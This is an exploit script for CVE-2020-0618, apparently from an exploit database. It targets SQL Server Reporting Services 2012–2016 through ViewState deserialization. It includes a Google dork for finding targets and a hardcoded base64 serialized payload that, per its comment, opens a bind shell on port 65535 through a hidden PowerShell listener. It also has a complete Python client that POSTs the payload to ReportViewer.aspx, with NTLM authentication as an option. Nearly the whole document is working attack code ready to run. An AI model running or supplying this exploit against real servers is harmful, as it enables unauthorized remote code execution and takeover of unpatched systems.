1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194 | # Exploit Title: Microsoft SQL Server Reporting Services 2016 - Remote Code Execution
# Google Dork: inurl:ReportViewer.aspx
# Date: 2020-09-17
# Exploit Author: West Shepherd
# Vendor Homepage: https://www.microsoft.com
# Version: Microsoft SQL Server 2016 32-bit/x64 SP2 (CU/GDR),
Microsoft SQL Server 2014 32-bit/x64 SP3 (CU/GDR), Microsoft SQL
Server 2012 32-bit/x64 SP2 (QFE)
# Tested on: Windows 2016
# CVE : CVE-2020-0618
# Credit goes to Soroush Dalili
# Source:
# https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0618
# https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/
#!/usr/bin/python
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from requests_ntlm import HttpNtlmAuth
import argparse, requests, logging
from bs4 import BeautifulSoup
from sys import argv, exit, stderr, stdout
# to create a payload (default is bindshell on 0.0.0.0:65535):
# .\ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "command..."
class Exploit:
payload = '/wEy4hYAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAAqAUvYyBwb3dlcnNoZWxsLmV4ZSAtZXhlYyBieXBhc3MgLW5vbmludGVyYWN0aXZlIC1ub2V4aXQgLXdpbmRvd3N0eWxlIGhpZGRlbiAtYyBpZXgoW3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6ZGVmYXVsdC5nZXRzdHJpbmcoW3N5c3RlbS5jb252ZXJ0XTo6ZnJvbWJhc2U2NHN0cmluZygnSkdFOVczTjVjM1JsYlM1dVpYUXVjMjlqYTJWMGN5NTBZM0JzYVhOMFpXNWxjbDAyTlRVek5Uc2tZUzV6ZEdGeWRDZ3BPeVJqUFNSaExtRmpZMlZ3ZEhSamNHTnNhV1Z1ZENncE95UmxQU1JqTG1kbGRITjBjbVZoYlNncE8xdGllWFJsVzExZEpHYzlNQzR1TmpVMU16VjhKWHN3ZlR0M2FHbHNaU2dvSkdnOUpHVXVjbVZoWkNna1p5d3dMQ1JuTG14bGJtZDBhQ2twTFc1bElEQXBleVJzUFNodVpYY3RiMkpxWldOMElDMTBlWEJsYm1GdFpTQnplWE4wWlcwdWRHVjRkQzVoYzJOcGFXVnVZMjlrYVc1bktTNW5aWFJ6ZEhKcGJtY29KR2NzTUN3a2FDazdKRzQ5S0dsbGVDQWtiQ0F5UGlZeGZHOTFkQzF6ZEhKcGJtY3BPeVJ3UFNJa0tDUnVLU1FvS0hCM1pDa3VjR0YwYUNrK0lqc2tjVDBvVzNSbGVIUXVaVzVqYjJScGJtZGRPanBoYzJOcGFTa3VaMlYwWW5sMFpYTW9KSEFwT3lSbExuZHlhWFJsS0NSeExEQXNKSEV1YkdWdVozUm9LVHNrWlM1bWJIVnphQ2dwZlRza1l5NWpiRzl6WlNncE95UmhMbk4wYjNBb0tUc05DZz09JykpKQYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL'
timeout = 0.5
cookies = {}
params = {}
def __init__(self, opt):
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
self.username = '%s\\%s' % (opt.domain, opt.username)
self.target = '%s%s' % (opt.target, opt.path)
self.password = opt.password
self.session = requests.session()
self.redirect = opt.redirect
self.proxies = {
'http': 'http://%s' % opt.proxy,
'https': 'http://%s' % opt.proxy
} if opt.proxy != '' else {}
self.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)',
'Content-Type': 'application/x-www-form-urlencoded'
}
self.form = {
'__VIEWSTATE': '',
'NavigationCorrector$PageState': 'NeedsCorrection',
'NavigationCorrector$ViewState': self.payload
}
if opt.debug:
self.debug()
def info(self, message):
stdout.write('[+] %s\n' % str(message))
return self
def error(self, message):
stderr.write('[-] error: %s\n' % str(message))
return self
def doGet(self, url, params=None, values=None):
self.info('sending get request to %s' % url)
try:
return self.session.get(
url=url,
verify=False,
allow_redirects=self.redirect,
headers=self.headers,
cookies=self.cookies,
proxies=self.proxies,
data=values,
params=params,
auth=HttpNtlmAuth(self.username, self.password)
) if self.username != '\\' else self.session.get(
url=url,
verify=False,
allow_redirects=self.redirect,
headers=self.headers,
cookies=self.cookies,
proxies=self.proxies,
data=values,
params=params
)
except Exception as err:
self.error(err)
def doPost(self, url, values=None, params=None):
self.info('sending post request to %s' % url)
try:
return self.session.post(
url=url,
data=values,
verify=False,
allow_redirects=self.redirect,
headers=self.headers,
cookies=self.cookies,
proxies=self.proxies,
params=params,
auth=HttpNtlmAuth(self.username, self.password)
) if self.username != '\\' else self.session.post(
url=url,
data=values,
verify=False,
allow_redirects=self.redirect,
headers=self.headers,
cookies=self.cookies,
proxies=self.proxies,
params=params
)
except Exception as err:
self.error(err)
def parsePage(self, content):
self.info('parsing form values')
soup = BeautifulSoup(content, 'lxml')
for tag in soup.select('input'):
try:
self.form[tag['name']] = tag['value']
except Exception as err:
self.error(err)
return self
def debug(self):
self.info('debugging enabled')
try:
import http.client as http_client
except ImportError:
import httplib as http_client
http_client.HTTPConnection.debuglevel = 1
logging.basicConfig()
logging.getLogger().setLevel(logging.DEBUG)
requests_log = logging.getLogger("requests.packages.urllib3")
requests_log.setLevel(logging.DEBUG)
requests_log.propagate = True
return self
def getForm(self):
self.info('retrieving form values')
resp = self.doGet(url=self.target)
self.parsePage(content=resp.content)
return self
def exploit(self):
self.info('exploiting target')
resp = self.doPost(url=self.target, params=self.params,
values=self.form)
self.info('received response %d' % resp.status_code)
return self
if __name__ == '__main__':
parser = argparse.ArgumentParser(
description='CVE-2020-0618 SQL Server Reporting Services
ViewState Deserialization exploit',
add_help=True
)
try:
parser.add_argument('-target', action='store', help='Target
address: http(s)://target.com ')
parser.add_argument('-username', action='store', default='',
help='Username to use: first.last')
parser.add_argument('-domain', action='store', default='',
help='User domain to use: domain.local')
parser.add_argument('-password', action='store', default='',
help='Password to use: Summer2020')
parser.add_argument('-debug', action='store', default=False,
help='Enable debugging: False')
parser.add_argument('-redirect', action='store',
default=False, help='Follow redirects: False')
parser.add_argument('-proxy', action='store', default='',
help='Enable proxy: 10.10.10.10:8080')
parser.add_argument('-path', action='store',
default='/ReportServer/pages/ReportViewer.aspx', help='Path to page')
if len(argv) == 1:
parser.print_help()
exit(1)
options = parser.parse_args()
Exploit(opt=options).exploit()
except Exception as error:
stderr.write('[-] error in main %s\n' % str(error))
Regards,
West Shepherd
OSWE | OSCE | OSCP | OSWP | CEH | Security+
West Lee Shepherd, LLC
|